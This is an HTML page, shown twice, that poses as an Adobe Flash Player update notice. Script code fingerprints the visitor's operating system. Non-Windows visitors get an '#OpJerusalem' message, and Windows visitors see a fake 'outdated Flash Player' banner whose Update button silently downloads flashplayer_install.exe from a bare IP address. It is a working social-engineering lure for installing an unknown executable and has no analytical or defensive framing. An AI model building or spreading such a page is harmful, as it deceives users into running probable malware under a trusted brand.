yuvadm/update.html

## update.html
<html>
<head>
<script>

function ParseOS(userAgent) {
     var userAgent = navigator.userAgent.toLowerCase();
     var os = "Windows";
     //Corresponding arrays of user-agent strings and operating systems
     match = ["windows nt 10","windows nt 6.3","windows nt 6.2","windows nt 6.1","windows nt 6.0","windows nt 5.2","windows nt 5.1","windows xp","windows nt 5.0","windows me","win98","win95","win16","macintosh","mac os x","mac_powerpc","android","linux","ubuntu","iphone","ipod","ipad","blackberry","webos"];
     result = ["Windows 10","Windows 8.1","Windows 8","Windows 7","Windows Vista","Windows Server 2003/XP x64","Windows XP","Windows XP","Windows 2000","Windows ME","Windows 98","Windows 95","Windows 3.11","Mac OS X","Mac OS X","Mac OS 9","Android","Linux","Ubuntu","iPhone","iPod","iPad","BlackBerry","Mobile"];

     //For each item in match array
     for (var i = 0; i < match.length; i++) {

              //If the string is contained within the user-agent then set the os
              if (userAgent.indexOf(match[i]) !== -1) {
                   os = result[i];
                   break;
              }

     }

     //Return the determined os
     return os;
}
OS = ParseOS()
if (OS != "Windows"){
    document.write('<body bgcolor=black><center><h1><font color=red>Jerusalem is the capital of Palestine<br>#OpJerusalem</font></h1></center>')
    window.stop()
}
</script>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
  margin: 0;
  font-family: Arial, Helvetica, sans-serif;
}

.header {
  padding: 5px 16px;
  background: #FFECB2;
  color: black;
}

.sticky {
  position: fixed;
  top: 0;
  width: 100%;
}

.button {
    background-color: #008CBA;
    border: none;
    color: white;
    padding: 3px 10px;
    text-align: center;
    text-decoration: none;
    display: inline-block;
    font-size: 16px;
    margin: 4px 2px;
    cursor: pointer;
}
#overlay {
    position: fixed;
    display: block;
    width: 100%;
    height: 100%;
    top: 40;
    left: 0;
    right: 0;
    bottom: 0;
    background-color: rgba(0,0,0,0.5);
    z-index: 2;
    cursor: pointer;
}
</style>
</head>

<body>

<div class="header" id="myHeader">
  <img src='https://helpx.adobe.com/content/dam/help/mnemonics/flashplayer_app_RGB.svg' width=15></img><strong> Your version of Adobe Flash Player is outdated</strong> <button class="button">Update</button>

</div>

<div style="height:2000px;"><br></div>
<div id="overlay"></div>

<a href="http://185.163.47.134/flashplayer_install.exe" id="download" hidden></a>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>

document.getElementById("overlay").style.display = "block";

window.onscroll = function() {myFunction()};

var header = document.getElementById("myHeader");
var sticky = header.offsetTop;

function myFunction() {
  if (window.pageYOffset > sticky) {
    header.classList.add("sticky");
  } else {
    header.classList.remove("sticky");
  }
}

$(document).ready(function(){
    $("button").click(function(){
        document.getElementById('download').click();
    });
});
</script>

</body>
</html>
	<html>
	<head>
	<script>

	function ParseOS(userAgent) {
	var userAgent = navigator.userAgent.toLowerCase();
	var os = "Windows";
	//Corresponding arrays of user-agent strings and operating systems
	match = ["windows nt 10","windows nt 6.3","windows nt 6.2","windows nt 6.1","windows nt 6.0","windows nt 5.2","windows nt 5.1","windows xp","windows nt 5.0","windows me","win98","win95","win16","macintosh","mac os x","mac_powerpc","android","linux","ubuntu","iphone","ipod","ipad","blackberry","webos"];
	result = ["Windows 10","Windows 8.1","Windows 8","Windows 7","Windows Vista","Windows Server 2003/XP x64","Windows XP","Windows XP","Windows 2000","Windows ME","Windows 98","Windows 95","Windows 3.11","Mac OS X","Mac OS X","Mac OS 9","Android","Linux","Ubuntu","iPhone","iPod","iPad","BlackBerry","Mobile"];

	//For each item in match array
	for (var i = 0; i < match.length; i++) {

	//If the string is contained within the user-agent then set the os
	if (userAgent.indexOf(match[i]) !== -1) {
	os = result[i];
	break;
	}

	}

	//Return the determined os
	return os;
	}
	OS = ParseOS()
	if (OS != "Windows"){
	document.write('<body bgcolor=black><center><h1><font color=red>Jerusalem is the capital of Palestine<br>#OpJerusalem</font></h1></center>')
	window.stop()
	}
	</script>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<style>
	body {
	margin: 0;
	font-family: Arial, Helvetica, sans-serif;
	}

	.header {
	padding: 5px 16px;
	background: #FFECB2;
	color: black;
	}

	.sticky {
	position: fixed;
	top: 0;
	width: 100%;
	}

	.button {
	background-color: #008CBA;
	border: none;
	color: white;
	padding: 3px 10px;
	text-align: center;
	text-decoration: none;
	display: inline-block;
	font-size: 16px;
	margin: 4px 2px;
	cursor: pointer;
	}
	#overlay {
	position: fixed;
	display: block;
	width: 100%;
	height: 100%;
	top: 40;
	left: 0;
	right: 0;
	bottom: 0;
	background-color: rgba(0,0,0,0.5);
	z-index: 2;
	cursor: pointer;
	}
	</style>
	</head>

	<body>

	<div class="header" id="myHeader">
	<img src='https://helpx.adobe.com/content/dam/help/mnemonics/flashplayer_app_RGB.svg' width=15></img><strong> Your version of Adobe Flash Player is outdated</strong> <button class="button">Update</button>

	</div>

	<div style="height:2000px;"><br></div>
	<div id="overlay"></div>

	<a href="http://185.163.47.134/flashplayer_install.exe" id="download" hidden></a>
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
	<script>

	document.getElementById("overlay").style.display = "block";

	window.onscroll = function() {myFunction()};

	var header = document.getElementById("myHeader");
	var sticky = header.offsetTop;

	function myFunction() {
	if (window.pageYOffset > sticky) {
	header.classList.add("sticky");
	} else {
	header.classList.remove("sticky");
	}
	}

	$(document).ready(function(){
	$("button").click(function(){
	document.getElementById('download').click();
	});
	});
	</script>

	</body>
	</html>